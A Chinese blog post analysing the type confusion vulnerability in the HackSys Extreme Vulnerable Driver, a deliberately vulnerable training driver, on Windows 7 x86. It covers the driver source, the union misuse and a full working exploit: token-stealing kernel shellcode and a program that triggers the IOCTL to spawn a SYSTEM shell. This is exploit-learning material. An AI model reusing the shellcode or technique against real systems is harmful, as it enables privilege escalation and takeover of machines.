漏洞分析丨HEVD-10.TypeConfusing[win7x86]
作者selph
前言
窥探Ring0漏洞世界:类型混淆
实验环境:
•虚拟机:Windows 7 x86
•物理机:Windows 10 x64
•软件:IDA,Windbg,VS2022
漏洞分析
老样子,先IDA分析漏洞函数TriggerTypeConfusion,然后再看看源码
首先是申请了8字节非分页池内存
然后接下来,把用户传入的8字节结构保存到了内核申请的8字节空间里,然后调用了一个初始化函数,程序就结束了
现在来看看这个初始化程序,打印后4字节的内容,然后调用后4字节的内容(回调函数):
从反汇编的层面看到的是,这里传入的后4字节会被当成函数调用
接下来看看源码:
///
/// Trigger the Type Confusion Vulnerability
///
///The pointer to USER_TYPE_CONFUSION_OBJECT object
/// NTSTATUS
NTSTATUS
TriggerTypeConfusion(
In PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;
PAGED_CODE();
__try
{//// Verify if the buffer resides in user mode//ProbeForRead(UserTypeConfusionObject,sizeof(USER_TYPE_CONFUSION_OBJECT),(ULONG)__alignof(UCHAR));//// Allocate Pool chunk//KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(NonPagedPool,sizeof(KERNEL_TYPE_CONFUSION_OBJECT),(ULONG)POOL_TAG);if (!KernelTypeConfusionObject){//// Unable to allocate Pool chunk//DbgPrint("[-] Unable to allocate Pool chunk\n");Status = STATUS_NO_MEMORY;return Status;}else{DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);}DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly setting ‘Callback’
// member of the ‘KERNEL_TYPE_CONFUSION_OBJECT’ structure before passing the pointer
// of ‘KernelTypeConfusionObject’ to ‘TypeConfusionObjectInitializer()’ function as
// parameter
//
KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#else
DbgPrint(“[+] Triggering Type Confusion\n”);
//// Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper// use of the 'UNION' construct. The developer has not set the 'Callback' member of// the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of// 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as// parameter//Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#endif
DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);//// Free the allocated Pool chunk//ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);KernelTypeConfusionObject = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint(“[-] Exception Code: 0x%X\n”, Status);
}
return Status;
}
这里安全版本和非安全版本的区别在于是否初始化回调函数,然后再进入初始化函数
这里用的对象结构如下,可以看到,用户传入的是4字节的Type,而在内核结构里,后4字节是个联合体
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
union
{
ULONG_PTR ObjectType;
FunctionPointer Callback;
};
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
最后进入初始化函数,就直接调用回调函数了:
///
/// Type Confusion Object Initializer
///
///The pointer to KERNEL_TYPE_CONFUSION_OBJECT object
/// NTSTATUS
NTSTATUS
TypeConfusionObjectInitializer(
In PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
)
{
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
DbgPrint(“[+] KernelTypeConfusionObject->Callback: 0x%p\n”, KernelTypeConfusionObject->Callback);
DbgPrint(“[+] Calling Callback\n”);
KernelTypeConfusionObject->Callback();
DbgPrint(“[+] Kernel Type Confusion Object Initialized\n”);
return Status;
}
这里初始化函数没啥问题,主要在于进入初始化函数之前,对对象结构的操作,因为使用了联合体,如果没有初始化Callback,那么用户输入的ObjectType会被当成Callback去执行,这就是所谓的类型混淆。
漏洞利用
利用思路就很简单了,传入对象后四字节给定shellcode地址即可:
#include
#include
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef struct _UserObject {
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
}UserObject,*PUserObject;
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad
;获取当前进程EPROCESSxor eax, eaxmov eax, fs: [eax + KTHREAD_OFFSET]mov eax, [eax + EPROCESS_OFFSET]mov ecx, eax;搜索system进程EPROCESSmov edx, SYSTEM_PIDSearchSystemPID :mov eax, [eax + FLINK_OFFSET]sub eax, FLINK_OFFSETcmp[eax + PID_OFFSET], edxjne SearchSystemPID; token窃取mov edx, [eax + TOKEN_OFFSET]mov[ecx + TOKEN_OFFSET], edx; 环境还原 + 返回popad
}
}
int main()
{
ULONG UserBufferSize = sizeof(UserObject);
PVOID EopPayload = &TokenStealingPayloadWin7;
HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
// 构造对象
UserBuffer->ObjectID = 0x12345678;
UserBuffer->ObjectType = (ULONG_PTR)EopPayload;
ULONG WriteRet = 0;
DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
system(“pause”);
system(“cmd.exe”);
return 0;
}
截图演示
挖坑
CVE-2018-8174
参考资料
•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver
漏洞分析丨HEVD-10.TypeConfusing[win7x86]相关推荐
- 漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
作者selph 前言 窥探Ring0漏洞世界:未初始化栈变量漏洞 上一篇探讨了空指针解引用漏洞的利用,这里来探讨另一种漏洞,未初始化栈变量漏洞,未初始化变量本身是没啥事的,但如果这个变量结构里存储了会 ...
- 漏洞分析丨HEVD-11.DoubleFetch[win7x86]
作者selph 前言 窥探Ring0漏洞世界:条件竞争漏洞 在多线程访问临界区的情况下,使用进程互斥可以使多个线程不能同时访问操作关键区的变量,条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保 ...
- 漏洞分析丨HEVD-0x8.IntegerOverflow[win7x86]
作者:selph 前言 窥探Ring0漏洞世界:整型溢出漏洞 本例中,整型溢出的问题出现在安全检验的地方,由于整型溢出导致错误的输入通过了安全检验,从而造成了栈溢出漏洞 所谓整型溢出,有两种,上溢出和 ...
- 漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
作者:selph 前言 窥探Ring0漏洞世界:缓冲区溢出之突破GS保护 实验环境: •虚拟机:Windows 7 x86 •物理机:Windows 10 x64 •软件:IDA,Windbg,VS2 ...
- 导入php插件_漏洞分析丨WordPress评论插件wpDiscuz任意文件上传
本文共 791 字,预计阅读时间 4 分钟 首发于 『先知社区』 在T00ls上看到一个老哥WordPress站点被搞了,下载了Access日志分析了一下,发现攻击路径是先访问了一个页面,然后访问 / ...
- 漏洞分析丨cve-2012-0003
作者:黑蛋 一.漏洞简介 这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞.在IE6,IE7,IE8中都存在这个漏洞.而这个漏洞是Winmm.dll中产生的. 二.漏洞环境 虚拟机 调试工具 ...
- 10年大厂程序员是如何高效学习使用redis的丨redis源码分析丨redis存储原理
10年大厂程序员是怎么学习使用redis的 1. redis存储原理分析 2. redis源码学习分享 3. redis跳表和B+树详细对比分析 视频讲解如下,点击观看: 10年大厂程序员是如何高效学 ...
- Ruby on Rails路径穿越与任意文件读取漏洞分析(CVE-2019-5418)
Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上.它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活 ...
- cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析
前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...
最新文章
- Java基础:Java变量、数据类型、运算符(2)
- [整理]MySql批量数据导入Load data infile解决方案
- linux properties 出现java.io.FileNotFoundException
- 图神经网络(GNN)教程 – 用 PyTorch 和 PyTorch Geometric 实现 Graph Neural Networks
- 电商独立站-谷歌SEO指标
- 2019第十届蓝桥杯B组C++省赛E题迷宫--BFS(倒搜)
- win软件推荐:ACDSee Photo Studio Ultimate 2022(图片编辑器)
- 产品配件类目税目分类_2017年商品税收分类编码明细表
- 企业的病毒,要及时清理
- 如何搭建DNS--域名系统
- Effective Java(第三版) 学习笔记 - 第六章 枚举和注解 Rule34~Rule41
- mysql 1452 Cannot add or update a child row: a foreign key constraint fails
- 基于Java Springboot+Vue+MyBatis音乐播放系统设计实现
- 如何打包Google扩展程序
- 2017 java 知乎_2017/4/3 用java爬取知乎
- MDS3400调度指挥系统
- 书籍《金字塔原理》读后感
- 网页链接点击跳转微信添加微信或者打开小程序
- AOP到底有啥魅力?《Spring实战》系列 05
- 【C语言】中文符号(句号,问号,感叹号)作为标识符进行分行处理
热门文章
- 吞吐量和IOPS测试
- 异质性区域下的宏观基本图构建
- 软考中级 真题 2016年下半年 系统集成项目管理工程师 基础知识 上午试卷
- 【用复制粘贴让脚本动起来(二)】根据画面点击特定坐标
- 安装Ubuntu20.04后我做的那些事:插件,美化
- mt2523 LinkIt_SDK_v4_GCC_Build_Environment_Guide
- GitHub构建Maven依赖仓库
- 加班996,生病ICU!趁着120,这个救命利器值得被关注
- nrf24l01无线通信模块与51单片机工作原理
- 深度解析Linux通过日志反查入侵